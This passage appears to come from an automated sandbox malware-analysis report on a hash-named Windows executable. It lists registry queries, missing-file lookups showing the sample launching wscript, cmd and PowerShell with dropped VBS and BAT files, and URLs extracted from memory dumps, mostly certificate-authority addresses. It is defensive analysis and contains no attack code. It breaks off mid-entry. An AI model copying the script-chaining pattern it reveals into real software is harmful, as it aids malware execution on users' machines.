"HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "")3e:Tcfd,"1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "1544DBCA0EFC2C0105DD7D52A21A8891.EXE"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "1544DBCA0EFC2C0105DD7D52A21A8891"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "1544dbca0efc2c0105dd7d52a21a8891.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "")3f:T8f8,"1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\FLTLIB.DLL" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\WSCRIPT.EXE" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\wscript.exe" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "wscript.exe" "wscript.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "wscript.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "wscript.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "wscript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\X86\SLC.DLL" "wscript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\SLC.dll" "wscript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\X86\SPPC.DLL" "wscript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\X86\sppc.dll" "cmd.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL"40:T6ac,"1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\1544DBCA0EFC2C0105DD7D52A21A8891.EXE.LOCAL" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\Users\%OSUSER%\START.VBS" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\Users\%OSUSER%\start.vbs" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\Users\%OSUSER%\TEMP.BAT" "1544dbca0efc2c0105dd7d52a21a8891.exe" trying to access non-existent file "C:\Users\%OSUSER%\temp.bat" "wscript.exe" trying to access non-existent file "C:\Windows\SysWOW64\AppLocker\MDM" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\temp.bat:ZONE.IDENTIFIER" "wscript.exe" trying to access non-existent file "C:\Users\%OSUSER%\temp.bat:Zone.Identifier" "cmd.exe" trying to access non-existent file "C:\Windows\SysWOW64\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\QJHJAP.BAT" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\QJHJap.bat" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWERSHELL.EXE.LOG" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME"41:T16ee,Pattern match: "http://nsis.sf.net/NSIS_Error" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Heuristic match: "Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "Microsoft-Windows-Client-Features-WOW64-Package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "64e35~amd64~~10.0.16299.15.cat" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1" Pattern match: "http://ocsp.digicert.com0K" Pattern match: "http://crl3.digicert.com/DigiCertHighAssuranceEi" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" Pattern match: "crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0F" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "www.digicert.com1/0-" Pattern match: "http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "https://www.digicert.com/CPS0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0L" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/ThawtePCA-G3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0=" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/CPS" Pattern match: "https://www.verisign.com/CPS04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/Docs/Repository.htm" Pattern match: "http://schemas.microsoft.com/SMI/2016/WindowsSettings" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0" Pattern match: "www.microsoft.com/PKI/docs/CPS/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl0Z" Pattern match: "http://www.microsoft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0" Pattern match: "Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" Pattern match: "http://schemas.microsoft.com/powershell/Microsoft.PowerShell" Heuristic match: "Set-Location $MyInvocation.MyCommand.Name" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=225750" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=225747" Heuristic match: "Get-Content $file | more.com" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=113316" Pattern match: "https://go.microsoft.com/fwlink/?LinkID=160712" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/XMLSchema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "Microsoft.Net/assembly/GAC_MSIL/Microsoft.PowerShell.ConsoleHost/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.ConsoleHost.dll" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://logo.verisign.Da" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://crl.securetrust.com/STCA.crl0" Pattern match: "7www.entrust.net/CPS_2048" Pattern match: "http://www.certplus.com/CRL/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/CPS" Pattern match: "http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.comodoca.com/AAACertificateServices.crl06" Pattern match: "crl.comodo.net/AAACertificateServices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.microsoft.com/pki/crl/products/MicCerLisCA2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/MicCerLisCA2011_2011-03-29.crt0" Pattern match: "www.digicert.com1!0" Heuristic match: "ntrust.net" Pattern match: "https://go.microsoft.com/fwlink/?LinkId=526726" Pattern match: "https://go.microsoft.com/fwlink/?LinkId=526920" Pattern match: "www.microsoft.com/pkiops/crl/MicWinProPCA2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "http://www.validationtest.contoso.com/test%d.html"42:T43c8,Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceeidr5r" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;se]l+>%ypkcsesdsipgetcapscryptsipgetcaps2.5.29.10cryptsipgetcapscryptsipgetcaps2.5.4.32.5.29.1xszd2zvcryptsipgetcaps2.5.4.6cryptsipgetcapsxszd2zcryptsipgetcaps*dpcz2.5.4.8y6?msystem.xml.dlldigicert" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0=r" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005716.00000000.176793.00CE0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00005716.00000000.176793.04A80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005716.00000000.176793.04A80000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005716.00000000.176793.04A80000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://logo.verisign.dago.gif0?\a" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00005716.00000000.176793.07382000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0ta[17iusai:" - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "http://www.microsoft.com0gt:(y<%qtz-r9lv<;7=_somj," - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fe" - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005716.00000000.176793.073E5000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005716.00000000.176793.73171000.00000020.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006632.00000000.177536.00F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006632.00000000.177536.00F00000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcthawte," - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;2.5.29.10digicert" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006632.00000000.177536.00FB0000.00000004.mdmp") Found URL 